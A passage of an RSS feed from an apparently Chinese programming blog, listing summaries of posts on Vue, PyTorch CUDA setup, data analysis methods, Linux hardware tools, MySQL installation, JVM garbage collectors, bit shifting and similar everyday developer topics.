      <description>简单的管理后台基本上就是数据的增删改查。主要就是 列表 + form 表单。每个页面的逻辑基本上都相同。不同的地方就是每个页面需要调用的具体 API 及参数。&#xA;以前 vue2 的时候最简单的做法是写出来一个页面的逻辑，然后直接 copy 到各个页面中，修改 API 及参数即可。高级一点的是利用 mixin 函数，将可复用逻辑抽离，每个页面引入 mixin。&#xA;vue3 之后新增了composition API。本文就是利用composition API，将可复用的逻辑抽离到composition API中，并引入ts，实现一个简单的管理后台功能。&#xA;利用@vue/cli创建项目 首先需要将 @vue/cli 升级到最新版。本文用的是4.5.6版本。&#xA;vue create admin cd admin npm run serve create选择手动选择Manually select features，会有一些交互性的选择，是否要安装router、vuex等选项，空格可以切换是否选中。我们选中TypeScript、Router、Vuex、CSS Pre-processors。&#xA;我们利用axios + axios-mock-adapter + mockjs来进行接口请求、接口模拟及假数据生成，接下来再安装这几个包。&#xA;npm install axios npm install -D axios-mock-adapter mockjs 项目整体框架 假设我们的项目包含一个 Header，Header 的作用是切换页面。两个页面，分别为 List 和 About，这两个页面都是简单的列表+增删改查的操作。&#xA;路由 需要在 router 中增加一个 list 的路由信息。&#xA;const routes: Array&amp;lt;RouteRecordRaw&amp;gt; = [ { path: &#39;/&#39;, name: &#39;Home&#39;, component: Home, }, { path: &#39;/about&#39;, name: &#39;About&#39;, component: () =&amp;gt; { return import(/* webpackChunkName: &#34;</description>
    </item>
    <item>
      <title>vue移除监听、删除监听、卸载监听、关闭监听、事件总线</title>
      <link>https://bchobby.github.io/posts/082b7929837cb9cd9f06e9f059b4cb29/</link>
      <pubDate>Tue, 26 Oct 2021 16:23:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/082b7929837cb9cd9f06e9f059b4cb29/</guid>
      <description>目录 1、多次触发1.1、代码1.2、相关链接 2、不触发2.1、代码2.2、相关链接 3、关闭监听事件参数 1、多次触发 vue中使用bus传值时，接收页面多次触发接收方法，多个页面公用一个bus时会触发所有打开过的bus。&#xA;1.1、代码 mounted() { bus.$on(&#34;busMethod&#34;, (data) =&amp;gt; { console.log(data); }); }, beforeDestroy() { bus.$off(&#34;busMethod&#34;); }, 1.2、相关链接 链接&#xA;2、不触发 2.1、代码 create() { bus.$on(&#34;getData&#34;, this.getList()); }, beforeDestroy() { bus.$off(&#34;getData&#34;, this.getList()); }, 2.2、相关链接 sf-vue – 事件总线 EventBus&#xA;3、关闭监听事件参数 ● EventBus.$off(&#34;eventName&#34;, callback); 只移除这个回调的监听器。&#xA;● EventBus.$off(&#39;eventName&#39;); 移除该事件所有的监听器。&#xA;● EventBus.$off(); 移除所有的事件监听器，不需要添加任何参数。</description>
    </item>
    <item>
      <title>安装Pytorch后torch.cuda.is_available()返回False问题解决</title>
      <link>https://bchobby.github.io/posts/c5e13ef635abc9f679b5943dafcde924/</link>
      <pubDate>Tue, 26 Oct 2021 16:21:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5e13ef635abc9f679b5943dafcde924/</guid>
      <description>首先说几点安装Pytorch时需要注意的点：&#xA;1.如果有能力，最好在科学上网后，利用类似如下命令直接安装：&#xA;conda install pytorch torchvision torchaudio cudatoolkit=11.3 这里注意：上述命令行最后没有-c pytorch，这点与官网的不一样，官网给出的是这样的：&#xA;加上-c pytorch的意思好像是从清华源下载~~&#xA;2.如果能力不足，无法科学上网，则需要手动切换镜像源了，比如切换清华源：&#xA;conda config --add channels https://mirrors.tuna.tsinghua.edu.cn 之后仍然利用下述命令安装：&#xA;conda install pytorch torchvision torchaudio cudatoolkit=11.3 注意：这里还是没有 -c pytorch。因为我加上 -c pytorch后发现安装会有问题，所以还是去掉 -c pytorch。&#xA;3.如果要安装GPU版本的Pytorch，则需要你的电脑上有NVIDIA显卡，而不是AMD的。之后，打开CMD，输入：&#xA;nvidia-smi 则会出现：&#xA;其中，CUDA Version表示你安装的CUDA版本最高不能超过11.4。另外，若Driver Version的值是小于400，请更新显卡驱动。&#xA;说了半天，重点来了：&#xA;当你安装完后，输入：&#xA;import torch torch.cuda.is_available() 发现返回值是False，这时候就很难受，明明安装的是GPU版本的，咋会是False呢。&#xA;可能的一个原因如下：&#xA;输入conda list，你会发现：&#xA;好家伙，Pytorch为啥是CPU版的？明明我的安装命令是GPU版的啊。在网上查找一番，发现原因如下：由于我是利用清华源下载的，可能是清华源没有对应cuda版本的pytorch，所以会装cpu版的。&#xA;解决方法：卸载重装，由于我是用conda安装的，所以卸载命令如下：&#xA;conda uninstall pytorch 重装方法：&#xA;1.最直接的，利用科学上网重装，见上文&#xA;2.可以去清华源网站上找对应的版本，安装输入命令行时将cuda版本改掉，网址如下：&#xA;https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/&#xA;参考：&#xA;​​​​​​https://www.jb51.net/article/205490.htm&#xA;Pytorch（CPU/GPU版本）安装科普指南 - 知乎&#xA;pytorch安装及卸载_diyun的博客-CSDN博客_卸载pytorch</description>
    </item>
    <item>
      <title>数据分析方法总结</title>
      <link>https://bchobby.github.io/posts/6ee31bb3c02981446e38c6fcfd30dc8b/</link>
      <pubDate>Tue, 26 Oct 2021 15:41:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ee31bb3c02981446e38c6fcfd30dc8b/</guid>
      <description>一、公式法 所谓公式法就是针对某个指标，用公式层层分解该指标的影响因素。&#xA;举例:分析某产品的销售额较低的原因，用公式法分解：&#xA;某产品销售额=销售量 X 产品单价&#xA;销售量=渠道A销售量 + 渠道B销售量 + 渠道C销售量 + ...&#xA;渠道销售量=点击用户数UV X 下单率 购买转化&#xA;点击用户数=曝光量 X 点击率&#xA;第一层:找到产品销售额的影响因素。某产品销售额=销售量 X 产品单价。是销量过低还是价格设置不合理?&#xA;第二层:找到销售量的影响因素。分析各渠道销售量，对比以往，是哪些过低了。&#xA;第三层:分析影响渠道销售量的因素。渠道销售量=点击用户数 X 下单率。是点击用户数低了， 还是下单量过低。如果是下单量过低，需要看一下该渠道的广告内容针对的人群和产品实际受 众符合度高不高。&#xA;第四层:分析影响点击的因素。点击用户数=曝光量 X 点击率。是曝光量不够还是点击率太低， 点击率低需要优化广告创意，曝光量则和投放的渠道有关。通过对销售额的逐层拆解，细化评估以及分析的粒度。 公式拆解法是针对问题的层级式解析，在拆解时，对因素层层分解，层层剥尽。&#xA;二、象限法 网易云、QQ、酷狗、虾米&#xA;用户日活 、年龄层、购买会员数、&#xA;通过对两种及以上维度的划分，运用坐标的方式表达出想要的价值。由价值直接转变为策略， 从而进行一些落地的推动。象限法是一种策略驱动的思维，常于产品分析、市场分析、客户管 理、商品管理等。&#xA;还有经典的 RFM 模型，把客户按最近一次消费(Recency)、消费频率(Frequency)、消费金额 (Monetary)三个维度分成八个象限。&#xA;象限法的优势: 1. 找到问题的共性原因 通过象限分析法，将有相同特征的事件进行归因分析，总结其中的共性原因。例如上面广告的 案例中，第一象限的事件可以提炼出有效的推广渠道与推广策略，第三和第四象限可以排除一 些无效的推广渠道; 2. 建立分组优化策略 针对投放的象限分析法可以针对不同象限建立优化策略，例如 RFM 客户管理模型中按照象限 将客户分为重点发展客户、重点保持客户、一般发展客户、一般保持客户等不同类型。给重点 发展客户倾斜更多的资源，比如 VIP 服务、个性化服务、附加销售等。给潜力客户销售价值更 高的产品，或一些优惠措施来吸引他们回归。&#xA;三、二八法/帕累托分析 二八法也可以叫帕累托法则，源于经典的二八法则。比如在个人财富上可以说世界上 20%的 人掌握着 80%的财富。而在数据分析中，则可以理解为 20%的数据产生了 80%的效果需要围 绕这 20%的数据进行挖掘。往往在使用二八法则的时候和排名有关系，排在前 20%的才算是 有效数据。二八法是抓重点分析，适用于任何行业。找到重点，发现其特征，然后可以思考如 何让其余的 80%向这 20%转化，提高效果。一般地，会用在产品分类上，去测量并构建 ABC 模型。比如某零售企业有 500 个 SKU 以及这 些 SKU 对应的销售额，那么哪些 SKU 是重要的呢，这就是在业务运营中分清主次的问题。常见的做法是将产品 SKU 作为维度，并将对应的销售额作为基础度量指标，将这些销售额指 标从大到小排列，并计算截止当前产品 SKU 的销售额累计合计占总销售额的百分比。百分比在 70%(含)以内，划分为 A 类。 百分比在 70~90%(含)以内，划分为 B 类。 百分比在 90~100%(含)以内，划分为 C 类。 以上百分比也可以根据自己的实际情况调整。ABC分析模型，不光可以用来划分产品和销售额，还可以划分客户及客户交易额等。比如给企 业贡献 80%利润的客户是哪些，占比多少。假设有 20%，那么在资源有限的情况下，就知道 要重点维护这 20%类客户。</description>
    </item>
    <item>
      <title>记一个iview回填数字后，判空校验有问题的小坑</title>
      <link>https://bchobby.github.io/posts/ee54a47695084090e70a80f411b976a9/</link>
      <pubDate>Tue, 26 Oct 2021 14:59:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ee54a47695084090e70a80f411b976a9/</guid>
      <description>页面表单 &amp;lt;i-form ref=&#34;formValidate&#34; :model=&#34;d&#34; :rules=&#34;ruleValidate&#34; :label-width=&#34;88&#34;&amp;gt; &amp;lt;Form-item label=&#34;价格&#34; prop=&#34;price&#34;&amp;gt; &amp;lt;i-input v-model=&#34;d.price&#34; type=&#34;float&#34; placeholder=&#34;价格&#34;&amp;gt;&amp;lt;/i-input&amp;gt; &amp;lt;/Form-item&amp;gt; js校验修改前&#xA;//新增、修改的校验规则 ruleValidate: { price: [ {required: true, message: &#39;价格不能为空&#39;, trigger: &#39;blur&#39;} , {validator: validatePositiveTwoPointNum, trigger: &#39;change&#39;}, ], }, 出现问题点：修改操作时表单回填数据，点击保存，校验提示 “价格不能为空”，但断点数据是有的，且数据回填到了输入框，就校验不通过&#xA;js校验修改后校验OK&#xA;添加type:&#39;float&#39;,&#xA;//新增、修改的校验规则 ruleValidate: { price: [ {required: true, type:&#39;float&#39;,message: &#39;价格不能为空&#39;, trigger: &#39;blur&#39;} , {validator: validatePositiveTwoPointNum, trigger: &#39;change&#39;}, ], }, 数字的判空校验，这里必须注明数字类型</description>
    </item>
    <item>
      <title>安装和使用Hardinfo、Sysinfo、Lshw以在Linux上查找硬件规格</title>
      <link>https://bchobby.github.io/posts/e9d339b577d1e4d0745027d1fea50d41/</link>
      <pubDate>Tue, 26 Oct 2021 14:17:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9d339b577d1e4d0745027d1fea50d41/</guid>
      <description>本文介绍在Linux系统中安装Hardinfo、Sysinfo、Lshw的方法，使用它们以在Linux上查找硬件规格，经测试，在Ubuntu 18.04系统能完美运行，不过也适用于其他Linux发行版。以下介绍的三种工具都能获取Linux系统的所有硬件（和软件）细节。&#xA;1、Hardinfo安装和使用方法&#xA;Hardinfo将为您提供系统的硬件和软件详细信息，要说明的是，这些信息在lshw中不可用。&#xA;HardInfo可以收集有关系统硬件和操作系统的信息，执行基准测试，并以HTML或纯文本格式生成可打印的报告。&#xA;如果Ubuntu中未安装Hardinfo，请使用以下命令安装：&#xA;$ sudo apt install hardinfo&#xA;安装后，Hardinfo工具可以从终端或菜单中进行。&#xA;以下是Hardinfo默认界面的外观：&#xA;安装和使用Hardinfo、Sysinfo、Lshw以在Linux上查找硬件规格&#xA;正如您在上面的屏幕截图中看到的，Hardinfo具有简单直观的GUI。&#xA;所有硬件信息分为四个主要组，即计算机、设备、网络和基准，每个组都显示特定的硬件详细信息。&#xA;例如，要查看处理器详细信息，请单击“设备（Processor）”组下的“处理器（Devices）”选项：&#xA;安装和使用Hardinfo、Sysinfo、Lshw以在Linux上查找硬件规格&#xA;与lshw不同，Hardinfo可帮助您查找基本软件规范，如操作系统详细信息、内核模块、区域设置信息、文件系统使用情况、用户/组和开发工具等：&#xA;安装和使用Hardinfo、Sysinfo、Lshw以在Linux上查找硬件规格&#xA;Hardinfo的另一个显着特点是它允许我们做简单的基准测试来测试CPU和FPU功能以及一些图形用户界面功能：&#xA;安装和使用Hardinfo、Sysinfo、Lshw以在Linux上查找硬件规格&#xA;我们可以生成整个系统以及各个设备的报告，要生成报告，只需单击菜单栏上的“生成报告（Generate Report）”按钮，然后选择要包含在报告中的信息：&#xA;安装和使用Hardinfo、Sysinfo、Lshw以在Linux上查找硬件规格&#xA;Hardinfo也有很少的命令行选项。&#xA;例如，要生成报告并在终端中显示它，请运行：&#xA;$ hardinfo -r&#xA;列表模块：&#xA;$ hardinfo -l&#xA;有关更多详细信息，请参阅手册页：&#xA;$ man hardinfo&#xA;2、Sysinfo安装和使用方法&#xA;Sysinfo是HardInfo和lshw-gtk实用程序的另一种替代方法，可用于获取下面列出的硬件和软件信息：&#xA;系统详细信息，例如分发版本、GNOME版本、内核、gcc和Xorg以及主机名。&#xA;CPU详细信息，如供应商标识、型号名称、频率、L2缓存、型号和标志。&#xA;内存详细信息，如总系统RAM、可用内存、交换空间总量和空闲、缓存、活动/非活动内存。&#xA;存储控制器，如IDE接口、所有IDE设备、SCSI设备。&#xA;硬件详细信息，如主板、显卡、声卡和网络设备。&#xA;让我们使用以下命令安装sysinfo：&#xA;$ sudo apt install sysinfo&#xA;Sysinfo可以从Terminal或Dash启动。&#xA;要从终端启动它，请运行：&#xA;$ sysinfo&#xA;这是Sysinfo实用程序的默认界面：&#xA;安装和使用Hardinfo、Sysinfo、Lshw以在Linux上查找硬件规格&#xA;如您所见，所有硬件（和软件）详细信息都分为五类，即系统、CPU（参考：用top、vmstat、Htop、sar命令在Linux系统中检查CPU使用率/利用率）、内存、存储和硬件，单击导航栏上的类别以获取相应的详细信息：&#xA;安装和使用Hardinfo、Sysinfo、Lshw以在Linux上查找硬件规格&#xA;更多细节可以在手册页上找到：&#xA;$ man sysinfo&#xA;3、Lshw安装和使用方法&#xA;Lshw（Hardware Lister）是一个简单但功能齐全的实用程序，它提供有关Linux系统硬件配置的详细信息，它可以报告确切的内存配置、固件版本、主板配置、CPU版本和速度、缓存配置、总线速度等，信息可以以纯文本，XML或HTML格式输出。参考安装及使用Lshw在Linux中检查计算机的硬件配置。&#xA;它目前支持DMI（仅限x86和EFI）、Open Firmware设备树（仅限PowerPC）、PCI/AGP、ISA PnP（x86）、CPUID（x86）、IDE/ATA/ATAPI、PCMCIA（仅在x86上测试）、USB和SCSI。</description>
    </item>
    <item>
      <title>使用mybatis来操作oracle</title>
      <link>https://bchobby.github.io/posts/e0cc6721cd2b729684cf67f4db27e37d/</link>
      <pubDate>Mon, 25 Oct 2021 21:17:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0cc6721cd2b729684cf67f4db27e37d/</guid>
      <description>1.使用spring的初始化工具来构建项目&#xA;2.添加依赖&#xA;3.项目结构&#xA;4.详细文件&#xA;4.1配置文件&#xA;server: port: 8888 spring: datasource: driver-class-name: oracle.jdbc.driver.OracleDriver url: jdbc:oracle:thin:@127.0.0.1:11521:helowin username: mark password: 123456 flyway: enabled: false 4.2DTO&#xA;@Data @AllArgsConstructor @NoArgsConstructor public class UserDto implements Serializable { private Integer id; private String name; private String pwd; } 4.3Controller&#xA;@RestController @RequestMapping(&#34;/hel&#34;) public class HelloOracle { @Autowired private UserService userService; @GetMapping(&#34;/user&#34;) public List&amp;lt;UserDto&amp;gt; getUsers(){ List&amp;lt;UserDto&amp;gt; users= userService.getAllUsers(); return users; } } 4.4Service&#xA;public interface UserService { /** * 获取所有用户 * @return */ List&amp;lt;UserDto&amp;gt; getAllUsers(); } @Service public class UserServiceImpl implements UserService{ @Autowired private UserDao userDao; @Override public List&amp;lt;UserDto&amp;gt; getAllUsers() { List&amp;lt;UserDto&amp;gt; users=userDao.</description>
    </item>
    <item>
      <title>pycharm SSH远程连接：cannot connect to X server</title>
      <link>https://bchobby.github.io/posts/7266dc0b3ad8dc335ae621858a779cb8/</link>
      <pubDate>Mon, 25 Oct 2021 19:41:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7266dc0b3ad8dc335ae621858a779cb8/</guid>
      <description>首先再pycharm连接服务器的终端输入&#xA;echo $DISPLAY 不会有显示，需要再打开其他远程连接软件，如XShell（这个必须搭配Xsever，即Xlaunch软件打开服务器，因为XShell自身不带服务器）、MobaXterm（自身带Xserver）、SecureCRT等软件，通过ssh连接远程服务器，连接上后在终端输入：&#xA;echo $DISPLAY 显示&#xA;localhost:10.0 可能与我这显示不一样，也可能时显示2.0。不过知道这个之后，回到pycharm连接远程服务器的终端，输入上面得到的结果向下面这样，如果是2.0就把下面10.0改为2.0即可：&#xA;export DISPLAY=localhost:10.0 然后再连接远程的终端上输入&#xA;xclock 若能显示一个钟表就说明完成了，自己的代码也能显示远程图片了。&#xA;其他 选中本地文件能上传上去，但远程端的文件下载不到本地上，这是起初创建远程映射时，没有选择正确的映射文件路径，或者仅仅选择错了路径（比如映射文件路径仅为“/”）。&#xA;改变方法：&#xA;将deployment path改为你的工作区文件夹，这样在Remote Host上你的映射文件变为浅绿色，你右击Remote Host上的文件就可以download from here，将代码下载到本地映射区间文件夹下（即local path）。修改代码后，你也可以通过鼠标右击代码编辑页面-&amp;gt;deployment-&amp;gt;upload to xxxx更新代码至服务器上。</description>
    </item>
    <item>
      <title>如何利用Java完成在数组中插入数值并且排序（从大到小）</title>
      <link>https://bchobby.github.io/posts/a016bb14fdd24a1e479a619aba1176c5/</link>
      <pubDate>Mon, 25 Oct 2021 18:51:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a016bb14fdd24a1e479a619aba1176c5/</guid>
      <description>首先要对数据组进行扩容，然后定义新的数据组，将旧数据组的值重新赋值，最后开始插入数值&#xA;数组插入值：&#xA;前提：数组本身有序&#xA;插入要保证不会越界&#xA;步骤;&#xA;1、从后向前遍历&#xA;2、每个值要与插入的值进行比较，不符合顺序的后移&#xA;3、符合顺序的，要在后方插入&#xA;4、如果从头至尾没有插入，则插入在首位</description>
    </item>
    <item>
      <title>QT 定时器 QTimer 使用</title>
      <link>https://bchobby.github.io/posts/648a776f97843da7351f8bb9ffe841de/</link>
      <pubDate>Mon, 25 Oct 2021 17:45:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/648a776f97843da7351f8bb9ffe841de/</guid>
      <description>目录&#xA;一、QTimer类使用&#xA;1、使用start开启 重复循环定时任务&#xA;2、单次延迟任务&#xA;3、超时为0的任务&#xA;4、一个综合点的例子&#xA;The QTimer class provides repetitive and single-shot timers. This class provide a high level programming interface for timers.&#xA;QTimer类提供重复和单次的定时器。&#xA;一、QTimer类使用 1、使用start开启 重复循环定时任务 First create a QTimer and then connect the timeout() signal to the appropriate slots. Call start() on the timer. From then on the timer will emit the timeout() signal at constant intervals.&#xA;首先创建一个 QTimer，然后将 timeout() 信号连接到适当的槽。 在计时器上调用 start()。 从那时起，计时器将以恒定的时间间隔发出 timeout() 信号。</description>
    </item>
    <item>
      <title>PS部分实现helloworld</title>
      <link>https://bchobby.github.io/posts/8856793b6b76b205acefd10cbb30e8d2/</link>
      <pubDate>Mon, 25 Oct 2021 13:59:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8856793b6b76b205acefd10cbb30e8d2/</guid>
      <description>Hello World 是由 PS 部分的 UART 和 CPU 上的软件输出的。主要部分是 PS 端实现，第一步我们将在 Vivado 中制作硬件；之后，在SDK中编写Hello World软件。&#xA;在 Vivado 中创建硬件 启动 Vivado。选择文件 - &amp;gt;新项目。设置项目的保存目的地和项目名称。这里，项目名称是“project_1”。项目类型应为“RTL 项目”。选择“板”。然后选择 digilentinc.com 作为您的供应商。选择 Zybo Z7-20 作为显示名称。&#xA;制作PS端硬件 使用左侧的 Flow Navigator-&amp;gt; IP INTEGRATOR-&amp;gt; Create Block Design 创建一个新的块设计。将默认名称保留为 design_1。&#xA;在图表视图中单击“按 + 按钮添加 IP”并选择“ZYNQ7 Processing System”。然后，将放置 PS 部分。然后单击屏幕上的“运行块自动化”。将出现设置窗口屏幕，确保选中“Apply Board Preset”并单击“确定”。&#xA;检查创建的块设计 可以通过右键单击图表视图并选择验证设计来检查它。即使是这么简单的设计，也发生了错误。原因是时钟没有正确提供给 M_AXI_GP0_ACLK。&#xA;修改块设计 AXI 是用于连接 IP 的总线。当 PS 成为主机并连接到其他从机 IP（例如 AXI GPIO）时使用。M_AXI_GP0_ACLK 是底层时钟。这次没有使用，可以通过关闭AXI_GP0本身的主控功能来纠正，这次我会通过正确设置时钟供应来解决。PS有一个名为FCLK_CLK0的端口，它看起来像一个 50MHz 的输出，将FCLK_CLK0 和 M_AXI_GP0_ACLK连接。&#xA;再次尝试验证设计，错误就会消失。&#xA;完成硬件设计 以上，仅PS部分的块设计就完成了。对于Hello World，只需要一个CPU和一个UART。将此块设计用作顶层设计。首先，生成一个输出文件并创建一个源文件。接下来，创建用于整个设计流程的 HDL 包装器。</description>
    </item>
    <item>
      <title>mysql安装（linux环境）</title>
      <link>https://bchobby.github.io/posts/c3625a94def82d63000149c4351cf760/</link>
      <pubDate>Sun, 24 Oct 2021 22:28:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3625a94def82d63000149c4351cf760/</guid>
      <description>mysql安装（linux环境） 1 下载 http://dev.mysql.com/downloads/mysql/&#xA;选择所需系统及版本的包，此次环境以CenOS7 64位安装8.0.26版本的mysql为例。&#xA;2 安装&amp;amp;设置 2.1检测是否已经安装了mysql rpm -qa | grep mysql* 2.2安装&amp;amp;启动 将下载的安装包mysql-8.0.26-linux-glibc2.12-x86_64.tar上传/usr/local目录下&#xA;解压压缩包，并将目录修改为mysql&#xA;[root@localhost local]# tar -xvf mysql-8.0.26-linux-glibc2.12-x86_64.tar mysql-test-8.0.26-linux-glibc2.12-x86_64.tar.xz mysql-8.0.26-linux-glibc2.12-x86_64.tar.xz mysql-router-8.0.26-linux-glibc2.12-x86_64.tar.xz [root@localhost local]# tar -xvf mysql-8.0.26-linux-glibc2.12-x86_64.tar.xz [root@localhost local]# mv mysql-8.0.26-linux-glibc2.12-x86_64 mysql 在mysql目录下创建data&#xA;[root@localhost local]# cd mysql [root@localhost mysql]# mkdir data 创建mysql用户组和mysql用户，并修改mysql目录权限&#xA;[root@localhost mysql]# groupadd mysql [root@localhost mysql]# useradd -r -g mysql mysql [root@localhost mysql]# chown mysql:mysql -R /usr/local/mysql 进入/usr/local/mysql/bin目录下并初始化，初始化后会在data目录下生成相关文件&#xA;[root@localhost mysql]# cd /usr/local/mysql/bin [root@localhost bin]# .</description>
    </item>
    <item>
      <title>CMS与G1垃圾收集器详解</title>
      <link>https://bchobby.github.io/posts/d5fc5da1d5ad4b982cbf7ad7bf31bcc3/</link>
      <pubDate>Sun, 24 Oct 2021 20:11:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5fc5da1d5ad4b982cbf7ad7bf31bcc3/</guid>
      <description>CMS 收集器 CMS（Concurrent Mark Sweep）收集器是一种以获取最短回收停顿时间为目标的收集器。它非常符合在注重用户交互体验的应用上使用.CMS 收集器是 HotSpot 虚拟机第一款真正意义上的并发收集器，它第一次实现了让垃圾收集线程与用户线程（基本上）同时工作。&#xA;作用域：老年代垃圾收集算法：标记 - 清除算法线程数：并发线程特点：以缩短停顿时间为目标 从名字中的Mark Sweep可以看出，CMS 收集器是基于 “标记-清除”算法实现的，它的运作过程相比于前面几种垃圾收集器来说更加复杂一些。整个过程分为四个步骤：&#xA;初始标记： 仅仅只是标记一下 GC Roots 能直接关联到的对象，速度很快。并发标记：并发标记阶段从GC Roots的直接关联对象开始遍历整个对象图的过程，这个过程耗时较长但是不需要停顿用户线程，可以与垃圾收集线程一起并发运行。重新标记： 重新标记阶段是为了修正并发标记期间因用户程序继续运行而导致标记产生变动的那一部分对象的标记记录。这个阶段的停顿时间一般会比初始标记阶段的时间稍长，但也远比并发标记阶段的时间短。并发清除： 清理删除掉标记阶段判断的已经死亡的对象，对未标记的区域做清扫。由于不需要移动存活对象，所以这个阶段也是可以与用户线程并发执行的。 其中初始标记、重新标记这两个步骤仍然需要 “ Stop The World ”，但速度很快。由于在整个过程中耗时最长的并发标记和并发清除阶段中，垃圾收集器线程都可以与用户线程一起工作，所以从总体上 CMS 收集器的内存回收过程是与用户线程一起并发执行的。&#xA;CMS 是一款非常优秀的垃圾收集器，有着并发收集（2，4阶段）、低延迟（1，3阶段）的优点。但还远没有完美的程度，至少有三个明显缺点：&#xA;CMS 对处理器资源非常敏感，在并发阶段，虽然不会造成用户线程停顿，但是却会因为占用一部分线程而导致应用程序变慢，降低总吞吐量。CMS 无法处理 “浮动垃圾” ，有可能出现 Concurrent Mode Failure 失败进而导致另一次完全 Stop The World 的 Full GC 产生。同样也是由于在垃圾收集阶段用户线程还需要持续运行，那就还需要预留足够内存空间提供给用户线程使用，因此CMS收集器不能像其他收集器那样等待老年代几乎完全被填满了再进行收集，而是当堆内存使用率达到某一阈值时，便开始进行回收。若预留的内存无法满足需要，则会出现一次“并发失败”（Concurrent Mode Failure）。 什么是浮动垃圾？由于并发标记和并发清理阶段，用户线程还是在继续运行的，程序自然就还会伴随有新的垃圾对象不断产生，而且这一部分垃圾对象出现在标记过程结束之后，CMS 无法在当次收集中处理掉这些垃圾，所以只能等到下一次垃圾回收时再进行清理。这一部分垃圾就称为浮动垃圾。&#xA;由于使用 “标记-清除” 算法，会导致大量空间碎片产生，可能无法找到足够大连续空间来分配当前对象，不得不提前触发一次 Full GC 但CMS只能使用标记-清除算法，因为当并发清除时，如果用整理算法，对象的移动会使得地址被修改，用户线程则无法正确使用该对象。整理算法更适合 “Stop The World” 的场景下使用。&#xA;当然也可通过设置参数设置几次GC之后进行碎片整理。&#xA;G1 收集器 G1 (Garbage-First) 是一款面向服务端应用的垃圾收集器，主要针对配备多核CPU及大容量内存的机器，以极高概率满足 GC 停顿时间要求的同时，还兼具高吞吐量的性能特征。被视为 JDK1.</description>
    </item>
    <item>
      <title>电脑莫名多出一个管理员账户</title>
      <link>https://bchobby.github.io/posts/71ad8def894182628c4367a5c7be0f85/</link>
      <pubDate>Sun, 24 Oct 2021 18:50:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71ad8def894182628c4367a5c7be0f85/</guid>
      <description>今天登录WIN10系统时偶然看到登录界面多了一个管理员账号，而且有密码，我登不上去。我印象中我是只有一个账号的。&#xA;翻译翻译，看看是什么牛马。&#xA;马上右键删除该账户，免得被删文件或盗取资料。&#xA;很有可能是下载的文件中携带了木马病毒，从而在入侵电脑上新建一个账户，入侵者就可以通过该账号登录你的系统，然后删除或盗取你电脑上的资料，非常危险，而且这种病毒一般是不容易被发现的，因为也没有人会天天查看自己电脑上的账户，或者天天扫描杀毒。&#xA;不过，奇怪的是火绒居然没有提示我下载的文件有病毒，幸好登录桌面的时候碰巧看到了左下角有两个账户存在。所以说，安装杀毒软件是很有必要的，还要养成定期杀毒的好习惯。&#xA;马上用杀毒软件快速扫描一下，果然有病毒。</description>
    </item>
    <item>
      <title>左移运算符和右移运算符的使用</title>
      <link>https://bchobby.github.io/posts/2113cbb2e3dd71f5e713e6cdf48021ac/</link>
      <pubDate>Sun, 24 Oct 2021 18:18:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2113cbb2e3dd71f5e713e6cdf48021ac/</guid>
      <description>先简单介绍一下，左移运算符和右移运算符的功能： 计算机中的数字是以二进制补码的形式存放的，而左移和右移运算符就是将内存中的二进制补码数字向左或者右移动。&#xA;左移的结果： 1.左移会让最高位溢出（也就是把最高位抛弃）&#xA;2.接着向低位补0&#xA;注意：无论是正数还是负数左移，最低位都是补0！！！ 举个正数左移的栗子： 将10左移2位的代码图：&#xA;内存中10左移2位的变化图： 因此最终结果是：40&#xA;举个负数左移的栗子： -10左移2位：&#xA;因此，最中结果是：-40&#xA;右移的结果： a.对于正数而言： 1.右移会让最低位溢出（也就是把最低位抛弃）&#xA;2.接着向最高位补0 b.对于负数而言： 1.右移会让最低位溢出（也就是把最低位抛弃）&#xA;2.接着向最高位补1 注意：正数右移最高位补0，负数右移最高位补1. 举个正数右移的栗子： 10右移2位代码图： 10右移2位内存图：&#xA;最终结果：2&#xA;举个负数右移的栗子： -10右移两位代码图：&#xA;-10右移2位内存图：&#xA;最终结果：2&#xA;补充几个奇奇怪怪的小tip： a. 10&amp;lt;&amp;lt;33(10左移33位)，但是10是int类型的，只有32位，按常理来想被移除完那就全部补0吧，错！！！ 当移动位数超过最大位数后，系统会进行取余操作，即33%32=1，因此它会左移1位哒，是不是被坑了，哈哈哈哈哈哈哈哈哈哈哈。&#xA;补充一点：对于无符号的来说，当移动超过本身位数后就变为0.&#xA;b. 10&amp;lt;&amp;lt;-1(10左移-1位)，正常来想，左移-1位，那不就是右移1位么，错！！！在系统中，左移-1位等价于左移31位（原因：32位-1位=31位）。 球球了，点个赞，支持一下吧，画图好累......</description>
    </item>
    <item>
      <title>matlab位置1处索引超出数组边界错误怎么改呢</title>
      <link>https://bchobby.github.io/posts/fd3f8c3245ebd5b2a858645dbf02117a/</link>
      <pubDate>Sun, 24 Oct 2021 11:30:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd3f8c3245ebd5b2a858645dbf02117a/</guid>
      <description> </description>
    </item>
    <item>
      <title>调试Java应用</title>
      <link>https://bchobby.github.io/posts/31a594d7313567a7f98a139de3c62202/</link>
      <pubDate>Sat, 23 Oct 2021 21:48:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/31a594d7313567a7f98a139de3c62202/</guid>
